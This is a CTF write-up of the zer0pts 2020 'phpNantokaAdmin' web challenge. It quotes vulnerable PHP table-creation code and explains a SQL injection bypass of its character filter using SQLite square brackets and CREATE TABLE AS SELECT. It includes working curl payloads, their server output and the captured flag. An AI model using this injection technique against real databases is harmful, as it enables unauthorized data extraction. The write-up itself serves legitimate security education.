Try   HackMD

[zer0pts CTF 2020] phpNantokaAdmin

tags: zer0pts CTF, zer0pts CTF 2020, web

Solution

We're given the source codes (index.php, util.php) and Dockerfile.

As you can see from index.php, the flag is stored in every created database as a table with unknown table name and unknown column name, but you can't see it.

$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);'); $pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");'); $pdo->query($sql);

Obviously there are SQL injection with table name, column name, and column type when creating tables in index.php.

$stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")"); $stmt->execute($values);
if (!is_valid($table_name)) { flash('Table name contains dangerous characters.'); } if (strlen($table_name) < 4 || 32 < strlen($table_name)) { flash('Table name must be 4-32 characters.'); } if (count($columns) <= 0 || 10 < count($columns)) { flash('Number of columns is up to 10.'); } $sql = "CREATE TABLE {$table_name} ("; $sql .= "dummy1 TEXT, dummy2 TEXT"; for ($i = 0; $i < count($columns); $i++) { $column = (string) ($columns[$i]['name'] ?? ''); $type = (string) ($columns[$i]['type'] ?? ''); if (!is_valid($column) || !is_valid($type)) { flash('Column name or type contains dangerous characters.'); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('Column name and type must be 1-32 characters.'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');';

Unfortunately, these parameters are filtered by its length and is_valid function, which is defined in util.php.

function is_valid($string) { $banword = [ // comment out, calling function... "[\"#'()*,\\/\\\\`-]" ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $string)) { return false; } return true; }

Let's check available characters.

$ cat test.php
<?php
function is_valid($string) {
  $banword = [
    // comment out, calling function...
    "[\"#'()*,\\/\\\\`-]"
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $string)) {
    return false;
  }
  return true;
}

$res = '';
for ($i = 0x20; $i < 0x7f; $i++) {
  $c = chr($i);
  if (is_valid($c)) {
    $res .= $c;
  }
}

echo $res . "\n";
$ php test.php
 !$%&+.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz{|}~

[ and ] are available. In SQLite, keywords can be enclosed in square brackets instead of backticks, so it's worthy to use.

Also, SQLite has CREATE TABLE … AS statement, which can be used to create a table from another table.

So, you can get the information about flag table by inputting t AS SELECT sql [ to table name and ]FROM sqlite_master; to column type when creating table.

$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+sql+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+sqlite_master%3B'
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
    <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
    <title>phpNantokaAdmin</title>
  </head>
  <body>
    <h1>phpNantokaAdmin</h1>
    <h2>t (<a href="?page=delete">Delete table</a>)</h2>
    <form action="?page=insert" method="POST">
      <table>
        <tr>
          <th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
        </tr>
        <tr>
          <td>CREATE TABLE `flag_bf1811da` (`flag_2a2d04c3` TEXT)</td>
        </tr>
        <tr>
          <td></td>
        </tr>
        <tr>
          <td><input type="text" name="values[]"></td>
        </tr>
      </table>
      <input type="submit" value="Insert values">
    </form>
  </body>
</html>

In the same way, you can get the flag.

$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+flag_2a2d04c3+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+flag_bf1811da%3B'
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
    <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
    <title>phpNantokaAdmin</title>
  </head>
  <body>
    <h1>phpNantokaAdmin</h1>
    <h2>t (<a href="?page=delete">Delete table</a>)</h2>
    <form action="?page=insert" method="POST">
      <table>
        <tr>
          <th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
        </tr>
        <tr>
          <td>zer0pts{Smile_Sweet_Sister_Sadistic_Surprise_Service_SQL_Injection!!}</td>
        </tr>
        <tr>
          <td><input type="text" name="values[]"></td>
        </tr>
      </table>
      <input type="submit" value="Insert values">
    </form>
  </body>
</html>